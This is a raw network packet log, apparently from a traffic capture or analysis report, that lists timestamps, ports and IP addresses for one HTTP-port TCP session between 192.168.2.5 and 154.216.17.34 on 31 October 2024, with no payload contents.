Oct 31, 2024 02:09:13.899565935 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.899581909 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.899593115 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.899605036 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.899605989 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.899621010 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.899651051 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.937967062 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.938016891 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.938029051 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.938035011 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.938040018 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.938066959 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.938086987 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.938105106 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.938153982 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.938157082 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.938167095 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.938178062 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.938189030 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.938208103 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.938209057 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.938218117 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.938227892 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.938241005 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.938258886 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.938277006 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.938321114 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.938364983 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.938602924 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.938652039 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.952438116 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.952450991 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.952462912 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.952472925 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.952523947 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.952542067 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.952553034 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.952565908 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.952580929 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.952584982 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.952593088 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.952614069 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.952626944 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.952653885 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.952724934 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.952768087 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.952775002 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.952778101 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.952817917 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.953181028 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.953192949 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.953202009 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.953212976 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.953232050 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.953233957 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.953243971 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.953250885 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.953258038 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.953269005 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.953269958 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.953279972 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.953294992 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.953310013 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.953320980 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.953320980 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.953336954 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.953349113 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.953350067 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.953377962 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.953403950 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.953433037 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.953471899 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.953490973 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.953500986 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.953511000 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.953547001 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.953560114 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.962964058 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.963001966 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.963012934 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.963016033 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.963042021 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.963062048 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.963077068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.963088989 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.963115931 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.963128090 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.963196039 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.963207960 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.963248968 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.963320971 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.963332891 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.963344097 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.963355064 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.963373899 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.963387012 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.963430882 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.963442087 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.963453054 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.963469982 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.963474035 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.963495970 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.963522911 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.963593006 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.963604927 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.963615894 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.963629007 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.963644028 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.963671923 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.963869095 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.963880062 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.963890076 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.963901997 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.963913918 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.963918924 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.963923931 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.963936090 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.963956118 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.963982105 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.963987112 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.963998079 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.964009047 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.964020014 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.964030981 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.964039087 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.964071035 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.964164019 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.964175940 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.964186907 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.964215994 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.964226007 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.964263916 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.964276075 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.964287043 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.964313984 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.964337111 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.964435101 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.964446068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.964456081 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.964483023 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.964489937 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.964502096 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.964504957 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.964519978 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.964530945 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.964534998 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.964543104 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.964561939 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.964586973 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.964679956 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.964698076 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.964709044 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.964729071 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.964754105 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.964778900 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.964791059 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.964801073 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.964818001 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.964831114 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.964833021 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.964852095 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.964879036 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.965007067 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.965018034 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.965029001 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.965034008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.965040922 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.965089083 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.989854097 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.989892960 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.989902973 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.989991903 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.990003109 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.990014076 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.990025997 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.990041018 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.990055084 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.990067005 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.990092993 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.990093946 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.990093946 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.990108013 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.990108013 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.990108013 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.990248919 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.990261078 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.990272045 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.990283966 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.990295887 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.990309954 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.990339994 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.990339994 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.216959000 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.216972113 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.216983080 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217010975 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217022896 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217068911 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.217106104 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217109919 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.217116117 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217124939 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217137098 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217154980 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.217184067 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.217247009 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217272043 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217282057 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217292070 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217297077 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.217304945 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217314959 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217324972 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217329025 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.217334986 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217353106 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217363119 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.217365980 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217376947 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217384100 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.217390060 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217398882 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217402935 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.217422962 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.217452049 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.217511892 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217524052 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217534065 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217541933 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217552900 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217562914 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217571974 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217575073 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.217586040 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217592001 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217602015 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217605114 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.217612982 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217622042 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217623949 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.217632055 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217645884 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217645884 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.217655897 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217668056 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217675924 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.217679977 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217691898 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217710018 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.217730999 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.217816114 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217828989 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217839956 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217850924 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217861891 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217870951 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.217873096 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217883110 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217890024 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.217895031 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217906952 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217911959 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.217917919 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217928886 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217936993 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.217938900 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217950106 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217959881 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.217961073 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217969894 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217982054 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.217993021 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218034983 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.218034983 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.218034983 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.218034983 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.218123913 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218173027 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.218193054 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218204975 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218214035 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218224049 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218236923 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218240976 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.218242884 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218255043 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218266010 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218277931 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.218308926 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.218370914 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218380928 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218390942 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218401909 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218414068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218425035 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.218425989 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218439102 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218444109 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.218466043 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218466043 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.218480110 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218492031 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.218492985 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218502998 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218523026 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.218523979 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218534946 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218549967 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.218573093 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.218686104 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218697071 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218708038 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218718052 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218730927 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218734026 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.218743086 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218753099 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218765974 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.218774080 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218786955 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218796968 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218799114 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.218815088 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218817949 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.218826056 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218837023 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218849897 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218851089 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.218861103 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218872070 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218883991 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.218885899 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218898058 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218903065 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.218909025 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218919992 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218924046 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.218931913 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218943119 CET	80	49982	154.216.17.34	192.168.2.5
